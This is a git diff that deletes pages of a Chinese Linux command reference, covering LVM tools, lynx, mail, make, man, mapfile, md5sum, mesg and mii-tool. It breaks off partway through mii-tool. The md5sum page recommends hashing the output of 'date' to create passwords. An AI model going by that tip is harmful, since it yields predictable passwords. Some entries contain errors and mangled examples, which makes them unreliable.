- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lvcreate.html b/linux-command.docset/Contents/Resources/Documents/c/lvcreate.html deleted file mode 100644 index 6b184e44dd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lvcreate.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - lvcreate 命令,Linux lvcreate 命令详解:用于创建LVM的逻辑卷 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lvcreate

-

用于创建LVM的逻辑卷

-

补充说明

-

lvcreate命令 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。

-

语法

-
lvcreate(选项)(参数)
-
-

选项

-
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
--l:指定逻辑卷的大小(LE数)。
-
-

参数

-

逻辑卷:指定要创建的逻辑卷名称。

-

实例

-

使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令:

-
[root@localhost ~]# lvcreate -L 200M vg1000    #创建大小为200M的逻辑卷
-
-

输出信息如下:

-
Logical volume "lvol0" created
-
-

说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件/dev/vg1000/lvol0进行访问。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lvdisplay.html b/linux-command.docset/Contents/Resources/Documents/c/lvdisplay.html deleted file mode 100644 index 44865a7afe..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lvdisplay.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - lvdisplay 命令,Linux lvdisplay 命令详解:显示逻辑卷属性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lvdisplay

-

显示逻辑卷属性

-

补充说明

-

lvdisplay命令 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性。

-

语法

-
lvdisplay(参数)
-
-

参数

-

逻辑卷:指定要显示属性的逻辑卷对应的设备文件。

-

实例

-

使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令:

-
[root@localhost ~]# lvdisplay /dev/vg1000/lvol0     #显示逻辑卷属性
-
-

输出信息如下:

-
  --- Logical volume ---  
-  LV Name                /dev/vg1000/lvol0  
-......省略部分输出内容......  
-  Block device           253:0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lvextend.html b/linux-command.docset/Contents/Resources/Documents/c/lvextend.html deleted file mode 100644 index beca1fabba..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lvextend.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - lvextend 命令,Linux lvextend 命令详解:扩展逻辑卷空间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lvextend

-

扩展逻辑卷空间

-

补充说明

-

lvextend命令 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的。

-

语法

-
lvextend(选项)(参数)
-
-

选项

-
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
--l:指定逻辑卷的大小(LE数)。
-
-

参数

-

逻辑卷:指定要扩展空间的逻辑卷。

-

实例

-

使用lvextend命令为逻辑卷/dev/vg1000/lvol0增加100M空间。在命令行中输入下面的命令:

-
[root@localhost ~]# lvextend -L +100M /dev/vg1000/lvol0    #为了解决增加100M空间
-
-

输出信息如下:

-
Extending logical volume lvol0 to 300.00 MB  
-Logical volume lvol0 successfully resized
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lvreduce.html b/linux-command.docset/Contents/Resources/Documents/c/lvreduce.html deleted file mode 100644 index 301b0d5ca1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lvreduce.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - lvreduce 命令,Linux lvreduce 命令详解:收缩逻辑卷空间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lvreduce

-

收缩逻辑卷空间

-

补充说明

-

lvreduce命令 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。

-

语法

-
lvreduce(选项)(参数)
-
-

选项

-
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
--l:指定逻辑卷的大小(LE数)。
-
-

参数

-

逻辑卷:指定要操作的逻辑卷对应的设备文件。

-

实例

-

使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令:

-
[root@localhost ~]# lvreduce -L -50M /dev/vg1000/lvol0     #将逻辑卷的空间大小减少50M
-
-

输出信息如下:

-
......省略部分输出内容......  
-Do you really want to reduce lvol0? [y/n]: y  #确认操作  
-  Reducing logical volume lvol0 to 252.00 MB  
-  Logical volume lvol0 successfully resized
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lvremove.html b/linux-command.docset/Contents/Resources/Documents/c/lvremove.html deleted file mode 100644 index dbcab26270..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lvremove.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - lvremove 命令,Linux lvremove 命令详解:删除指定LVM逻辑卷 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lvremove

-

删除指定LVM逻辑卷

-

补充说明

-

lvremove命令 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。

-

语法

-
lvremove(选项)(参数)
-
-

选项

-
-f:强制删除。
-
-

参数

-

逻辑卷:指定要删除的逻辑卷。

-

实例

-

使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令:

-
[root@localhost ~]# lvremove /dev/vg1000/lvol0    #删除逻辑卷"lvol0"
-
-

输出信息如下:

-
Do you really want to remove active logical 
-volume "lvol0"? [y/n]: y    #确认删除
-  Logical volume "lvol0" successfully removed
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lvresize.html b/linux-command.docset/Contents/Resources/Documents/c/lvresize.html deleted file mode 100644 index 244aca206c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lvresize.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - lvresize 命令,Linux lvresize 命令详解:调整逻辑卷空间大小 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lvresize

-

调整逻辑卷空间大小

-

补充说明

-

lvresize命令 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。

-

语法

-
lvresize(选项)(参数)
-
-

选项

-
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
--l:指定逻辑卷的大小(LE数)。
-
-

参数

-

逻辑卷:指定要删除的逻辑卷。

-

实例

-

使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令:

-
[root@localhost ~]# lvresize -L +200M /dev/vg1000/lvol0     #将逻辑卷空间增加200M
-
-

输出信息如下:

-
Extending logical volume lvol0 to 280.00 MB
-Logical volume lvol0 successfully resized
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lvscan.html b/linux-command.docset/Contents/Resources/Documents/c/lvscan.html deleted file mode 100644 index ce5bd9d0c8..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lvscan.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - lvscan 命令,Linux lvscan 命令详解:扫描逻辑卷 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lvscan

-

扫描逻辑卷

-

补充说明

-

lvscan命令 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。

-

语法

-
lvscan(选项)
-
-

选项

-
-b:显示逻辑卷的主设备和次设备号。
-
-

实例

-

使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令:

-
[root@localhost ~]# lvscan     #扫描所有的逻辑卷
-
-

输出信息如下:

-
ACTIVE          '/dev/vg1000/lvol0' [200.00 MB] inherit
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lynx.html b/linux-command.docset/Contents/Resources/Documents/c/lynx.html deleted file mode 100644 index 9d7698c973..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lynx.html +++ /dev/null @@ -1,157 +0,0 @@ - - - - - - - - - - - lynx 命令,Linux lynx 命令详解:纯文本模式的网页浏览器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lynx

-

纯文本模式的网页浏览器

-

补充说明

-

lynx命令 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。

-

语法

-
lynx(选项)(参数)
-
-

选项

-
-case:在搜索字符串时,区分大小写;
--ftp:关闭ftp功能;
--nobrowse:关闭目录浏览功能;
--noclor:关闭色彩显示模式;
--reload:更新代理服务器的缓存,只对首页有效;
---color:如果系统支持彩色模式,则激活彩色模式;
---help:显示指令的帮助信息;
---versiom:显示指令的版本信息。
-
-

参数

-

URL:指定要访问的网站的URL地址。

-

内部命令

-

移动命令

-
下方向键:页面上的下一个链接(用高亮度显示)。
-上方向键:页面上的前一个链接(用高亮度显示)。
-回车和右方向键:跳转到链接指向的地址。
-左方向键:回到上一个页面。
-
-

滚动命令

-
+、Page-Down、Space、Ctrl+f:向下翻页。
--、Page-Up、b、Ctrl+b:向上翻页。
-Ctrl+a:移动到当前页的最前面。
-Ctrl+e:移动到当前页的最后面。
-Ctrl+n:向下翻两行。
-Ctrl+p:往回翻两行。
-):向下翻半页。
-(:往回翻半页。
-#:回到当前页的 Toolbar 或 Banner。
-
-

文件操作命令

-
c:建立一个新文件。
-d:下载选中的文件。
-E:编辑选中的文件。
-f:为当前文件显示一个选项菜单。
-m:修改选中文件的名字或位置。
-r:删除选中的文件。
-t:Tag highlighted file。
-u:上载一个文件到当前目录。
-
-

其他命令

-
?、h:帮助。
-a:把当前链接加入到一个书签文件里。
-c:向页面的拥有者发送意见或建议。
-d:下载当前链接。
-e:编辑当前文件。
-g:跳转到一个用户 指定的URL或文件。
-G:编辑当前页的URL,并跳转到这个URL。
-i:显示文档索引。
-j:执行预先定义的“短”命令。
-k:显示键盘命令列表。
-l:列出当前页上所有链接的地址。
-m:回到首页 。
-o:设置选项。
-p:把当前页输出到文件,e-mail,打印机或其他地方。
-q:退出。
-/:在当前页内查找字符串。
-s:在外部搜索输入的字符串。
-n:搜索下一个。
-v:查看一个书签文件。
-V:跳转到访问过的地址。
-x:不使用缓存。
-z:停止当前传输。
-[backspace]:跳转到历史页(同 V 命令)。
-=:显示当前页的信息。
-:查看当前页的源代码。
-!:回到shell提示符下。
-_:清除当前任务的所有授权信息。
-*:图形链接模式的切换开关。
-@:8位传输模式或CJK模式的切换开关。
-[:pseudo_inlines 模式的切换开关。
-]:为当前页或当前链接发送一个“head”请求。
-Ctrl+r:重新装如当前页并且刷新屏幕。
-Ctrl+w:刷新屏幕。
-Ctrl+u:删除输入的行。
-Ctrl+g:取消输入或者传送。
-Ctrl+t:跟踪模式的切换开关。
-;:看Lynx对当前任务的跟踪记录。
-Ctrl+k:调用 Cookie Jar 页。
-数字键:到后面的第 n 个链接。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mail.html b/linux-command.docset/Contents/Resources/Documents/c/mail.html deleted file mode 100644 index f85e24f5ee..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mail.html +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - mail 命令,Linux mail 命令详解:命令行下发送和接收电子邮件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mail

-

命令行下发送和接收电子邮件

-

补充说明

-

mail命令 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。

-

语法

-
mail(选项)(参数)
-
-

选项

-
-b<地址>:指定密件副本的收信人地址;
--c<地址>:指定副本的收信人地址;
--f<邮件文件>:读取指定邮件文件中的邮件;
--i:不显示终端发出的信息;
--I:使用互动模式;
--n:程序使用时,不使用mail.rc文件中的设置;
--N:阅读邮件时,不显示邮件的标题;
--s<邮件主题>:指定邮件的主题;
--u<用户帐号>:读取指定用户的邮件;
--v:执行时,显示详细的信息。
-
-

参数

-

邮件地址:收信人的电子邮箱地址。

-

实例

-

直接使用shell当编辑器

-
mail -s "Hello from jsdig.com by shell" admin@jsdig.com
-hello,this is the content of mail.
-welcome to www.jsdig.com
-
-

第一行是输入的命令,-s表示邮件的主题,后面的admin@jsdig.com则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 CTRL+D 结束输入,此时会提示你输入Cc地址,即邮件抄送地址,没有直接回车就完成了邮件的发送。

-

使用管道进行邮件发送

-
echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com
-
-

使用管道直接敲入这行命令即可完成邮件的发送,其中echo后的是邮件正文。

-

使用文件进行邮件发送

-
mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt
-
-

使用上面的命令后,我们就可以把mail.txt文件的内容作为邮件的内容发送给admin@jsdig.com了。

-

使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面2中都是直接在shell中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第3种方式,我们可以在window下编辑好邮件内容后,放到linux下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法。

-

因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令:

-
mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com<mail.txt
-
-

上面的命令中,我们使用了– -f user@jsdig.com这样的参数,这是sendmail的选项,其中-f表示邮件的发送人邮件地址。

-

很多情况下,我们也需要使用邮件来发送附件,在linux下使用mail命令发送附件也很简单,不过首先需要安装uuencode软件包,这个程序是对二进制文件进行编码使其适合通过邮件进行发送,在CentOS上安装该软件包如下:

-
yum install sharutils
-
-

安装完成后我们就可以来进行附件的发送了,使用如下命令:

-
uuencode test.txt test | mail -s "hello,see the attachement" admin@jsdig.com<mail.txt
-
-

完成后就可以把text.txt文件作为邮件的附件发送出去了。uuencode有两个参数,第一个是要发送的文件,第二个是显示的文件名称。

-

这里我主要介绍的是在CentOS下使用mail发送电子邮件的一些使用方法,需要的要求是你的linux必须安装了sendmail并开启了,同时保证可以连接外网。另外,文章中提到的命令本人都经过亲自测试,保证完全可用,不过你需要将命令中的电子邮件地址换成自己的电子邮件地址。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mailq.html b/linux-command.docset/Contents/Resources/Documents/c/mailq.html deleted file mode 100644 index c2f03c1def..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mailq.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - mailq 命令,Linux mailq 命令详解:显示待发送的邮件队列 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mailq

-

显示待发送的邮件队列

-

补充说明

-

mailq命令 用户显示待发送的邮件队列,显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去,则显示发送失败的原因。

-

语法

-
mailq(选项)
-
-

选项

-
-v:显示详细的信息。
-
-

实例

-
[root@localhost ~]# mailq -v
-/var/spool/mqueue is empty
-                Total requests: 0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mailstat.html b/linux-command.docset/Contents/Resources/Documents/c/mailstat.html deleted file mode 100644 index 5dd69b897f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mailstat.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - mailstat 命令,Linux mailstat 命令详解:显示到达的邮件状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mailstat

-

显示到达的邮件状态

-

补充说明

-

mailstat命令 用来显示到达的邮件状态。

-

语法

-
mailstat(选项)(参数)
-
-

选项

-
-k:保持邮件日志文件的完整性,不清空日志文件;
--l:使用长格式显示邮件状态;
--m:合并任何错误信息到一行中显示;
--o:使用老的邮件日志邮件;
--t:使用简洁的格式显示邮件状态;
--s:如果没有邮件则不输出任何信息。
-
-

参数

-

邮件日志文件:指定要读取邮件日志文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/make.html b/linux-command.docset/Contents/Resources/Documents/c/make.html deleted file mode 100644 index e61608f9af..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/make.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - make 命令,Linux make 命令详解:GNU的工程化编译工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

make

-

GNU的工程化编译工具

-

补充说明

-

make命令 是GNU的工程化编译工具,用于编译众多相互关联的源代码文件,以实现工程化的管理,提高开发效率。

-

语法

-
make(选项)(参数)
-
-

选项

-
-f:指定“makefile”文件;
--i:忽略命令执行返回的出错信息;
--s:沉默模式,在执行之前不输出相应的命令行信息;
--r:禁止使用build-in规则;
--n:非执行模式,输出所有执行命令,但并不执行;
--t:更新目标文件;
--q:make操作将根据目标文件是否已经更新返回"0"或非"0"的状态信息;
--p:输出所有宏定义和目标文件描述;
--d:Debug模式,输出有关文件和检测时间的详细信息。
-
-

Linux下常用选项与Unix系统中稍有不同,下面是不同的部分:

-
-c dir:在读取 makefile 之前改变到指定的目录dir;
--I dir:当包含其他 makefile文件时,利用该选项指定搜索目录;
--h:help文挡,显示所有的make选项;
--w:在处理 makefile 之前和之后,都显示工作目录。
-
-

参数

-

目标:指定编译目标。

-

知识扩展

-

无论是在linux 还是在Unix环境 中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到make或make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。

-

而且如此多的源文件,如果每次都要键入gcc命令进行编译的话,那对程序员 来说简直就是一场灾难。而make工具则可自动完成编译工作,并且可以只对程序员在上次编译后修改过的部分进行编译。

-

因此,有效的利用make和 makefile工具可以大大提高项目开发的效率。同时掌握make和makefile之后,您也不会再面对着Linux下的应用软件手足无措了。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/man.html b/linux-command.docset/Contents/Resources/Documents/c/man.html deleted file mode 100644 index afa9d9a68d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/man.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - man 命令,Linux man 命令详解:查看Linux中的指令帮助 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

man

-

查看Linux中的指令帮助

-

补充说明

-

man命令 是Linux下的帮助指令,通过man指令可以查看Linux中的指令帮助、配置文件帮助和编程帮助等信息。

-

语法

-
man(选项)(参数)
-
-

选项

-
-a:在所有的man帮助手册中搜索;
--f:等价于whatis指令,显示给定关键字的简短描述信息;
--P:指定内容时使用分页程序;
--M:指定man手册搜索的路径。
-
-

参数

-
    -
  • 数字:指定从哪本man手册中搜索帮助;
  • -
  • 关键字:指定要搜索帮助的关键字。
  • -
-

数字代表内容

-
1:用户在shell环境可操作的命令或执行文件;
-2:系统内核可调用的函数与工具等
-3:一些常用的函数(function)与函数库(library),大部分为C的函数库(libc)
-4:设备文件说明,通常在/dev下的文件
-5:配置文件或某些文件格式
-6:游戏(games)
-7:惯例与协议等,如Linux文件系统,网络协议,ASCII code等说明
-8:系统管理员可用的管理命令
-9:跟kernel有关的文件
-
-

实例

-

我们输入man ls,它会在最左上角显示“LS(1)”,在这里,“LS”表示手册名称,而“(1)”表示该手册位于第一节章,同样,我们输man ifconfig它会在最左上角显示“IFCONFIG(8)”。也可以这样输入命令:“man [章节号] 手册名称”。

-

man是按照手册的章节号的顺序进行搜索的,比如:

-
man sleep
-
-

只会显示sleep命令的手册,如果想查看库函数sleep,就要输入:

-
man 3 sleep
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mapfile.html b/linux-command.docset/Contents/Resources/Documents/c/mapfile.html deleted file mode 100644 index 2c9619911f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mapfile.html +++ /dev/null @@ -1,187 +0,0 @@ - - - - - - - - - - - mapfile 命令,Linux mapfile 命令详解:从标准输入读取行并赋值到数组。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mapfile

-

从标准输入读取行并赋值到数组。

-

概要

-
mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]
-
-

主要用途

-
    -
  • 从标准输入或文件描述符读取行并赋值到数组。
  • -
-

选项

-
-d delim       将delim设为行分隔符,代替默认的换行符。
--n count       从标准输入中获取最多count行,如果count为零那么获取全部。
--O origin      从数组下标为origin的位置开始赋值,默认的下标为0。
--s count       跳过对前count行的读取。
--t             读取时移除行分隔符delim(默认为换行符)。
--u fd          从文件描述符fd中读取。
--C callback    每当读取了quantum行时,调用callback语句。
--c quantum     设定读取的行数为quantum。
-
-如果使用-C时没有同时使用-c指定quantum的值,那么quantum默认为5000。
-当callback语句执行时,将数组下一个要赋值的下标以及读取的行作为额外的参数传递给callback语句。
-如果使用-O时没有提供起始位置,那么mapfile会在实际赋值之前清空该数组。
-
-

参数

-

array(可选):用于输出的数组名称。如果没有指定数组名称,那么会默认写入到变量名为MAPFILE的数组中。

-

返回值

-

返回成功除非使用了非法选项、指定的数组是只读的、指定的数组不是下标数组。

-

例子

-
# 常见的读取形式。
-mapfile < source_file target_array
-cat source_file |mapfile target_array
-mapfile -u fd target_array
-
-# 只读取前5行。
-mapfile < source_file -n 5 target_array
-
-# 跳过前5行。
-mapfile < source_file -s 5 target_array
-
-# 在数组指定的下标开始赋值。
-# 请注意:这样做不会清空该数组。
-mapfile < source_file -O 2 target_array
-
-# 读取时设定行分隔符为tab。
-# 注意,第二行的tab在终端需要用ctrl+v tab输入;
-mapfile < source_file -d 
-
- - - - - - -\t'
target_array -mapfile < source_file -d ' ' target_array - -# 读取时移除行分隔符(tab)。 -mapfile < source_file -d - - - - - - - -\t' -t target_array -# 读取时移除行分隔符(换行符)。 -mapfile < source_file -t target_array - -# 每读取2行,执行一次语句(在这里是echo)。 -mapfile < source_file -C "echo CALLBACK:" -c 2 target_array - -# 遍历下标,依次显示数组的元素。 -for i in ${!target_array[@]}; do - printf "%s" ${target_array[i]} -done - -

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
  3. bash内建命令readarray是mapfile的同义词。
  4. -
- - - - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/md5sum.html b/linux-command.docset/Contents/Resources/Documents/c/md5sum.html deleted file mode 100644 index 9824a0c88d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/md5sum.html +++ /dev/null @@ -1,121 +0,0 @@ - - - - - - - - - - - md5sum 命令,Linux md5sum 命令详解:计算和校验文件报文摘要的工具程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

md5sum

-

计算和校验文件报文摘要的工具程序

-

补充说明

-

md5sum命令 采用MD5报文摘要算法(128位)计算和检查文件的校验和。一般来说,安装了Linux后,就会有md5sum这个工具,直接在命令行终端直接运行。

-

MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5 全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(十六进制长度就是32位)的“指纹”(或称“报文摘要”),不同的文件产生相同的报文摘要的可能性是非常非常之小的。

-

语法

-
md5sum(选项)(参数)
-
-

选项

-
-b:二进制模式读取文件;
--t或--text:把输入的文件作为文本文件看待;
--c:从指定文件中读取MD5校验和,并进行校验;
---status:验证成功时不输出任何信息;
--w:当校验不正确时给出警告信息。
-
-

参数

-

文件:指定保存着文件名和校验和的文本文件。

-

实例

-

使用 md5sum 生成密码

-

另一种获取可用作密码的随机字符串的方法是计算 MD5 校验值!校验值看起来确实像是随机字符串组合在一起,我们可以用作密码。确保你的计算源是个变量,这样的话每次运行命令时生成的校验值都不一样。比如 date !date 命令 总会生成不同的输出。

-
[root@localhost ~]# date | md5sum
-6a43f2c246cdc3e6a3592652f831d186  -
-
-

生成一个文件insert.sql的md5值:

-
[root@localhost ~]# md5sum insert.sql
-bcda6cb5c704664f989703ac5a88f112  insert.sql
-
-

检查文件testfile是否被修改过:

-

首先生成md5文件:

-
md5sum testfile > testfile.md5
-
-

检查:

-
md5sum testfile -c testfile.md5
-
-

如果文件没有变化,输出应该如下:

-
forsort: OK
-
-

此时,md5sum命令返回0。

-

如果文件发生了变化,输出应该如下:

-
forsort: FAILED
-md5sum: WARNING: 1 of 1 computed checksum did NOT match
-
-

此时,md5sum命令返回非0。

-

这里,检查用的文件名随意。如果不想有任何输出,则md5sum testfile --status -c testfile.md5,这时候通过返回值来检测结果。

-

检测的时候如果检测文件非法则输出信息的选项:

-
md5sum -w -c testfile.md5
-
-

输出之后,文件异常输出类似如下:

-
md5sum: testfile.md5: 1: improperly formatted MD5 checksum line
-md5sum: testfile.md5: no properly formatted MD5 checksum lines found
-
-

这里,testfile.md5只有一行信息,但是我认为地给它多加了一个字符,导致非法。如果md5文件正常那么-w有没有都一样。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mesg.html b/linux-command.docset/Contents/Resources/Documents/c/mesg.html deleted file mode 100644 index 0fd421eb1e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mesg.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - mesg 命令,Linux mesg 命令详解:设置当前终端的写权限 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mesg

-

设置当前终端的写权限

-

补充说明

-

mesg命令 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。

-

语法

-
mesg(参数)
-
-

参数

-

y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。

-

实例

-
[root@localhost ~]# mesg y    #允许系统用户将信息直接显示在你的屏幕上。
-[root@localhost ~]# mesg n    #不允许系统用户将信息直接显示在你的屏幕上。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/mii-tool.html b/linux-command.docset/Contents/Resources/Documents/c/mii-tool.html deleted file mode 100644 index 36127319c2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/mii-tool.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - - mii-tool 命令,Linux mii-tool 命令详解:配置网络设备协商方式的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

mii-tool

-

配置网络设备协商方式的工具

-

补充说明

-

mii-tool命令 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。

-

语法

-
usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...]
-
-

选项

-
-V 显示版本信息;
--v 显示网络接口的信息;
--R 重设MII到开启状态;
--r 重启自动协商模式;
--w 查看网络接口连接的状态变化;
--l 写入事件到系统日志;
--A 指令特定的网络接口;
--F 更改网络接口协商方式;
-
-media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,
-        (to advertise both HD and FD) 100baseTx, 10baseT
-
-

实例

-

查看网络接口的协商状态:

-
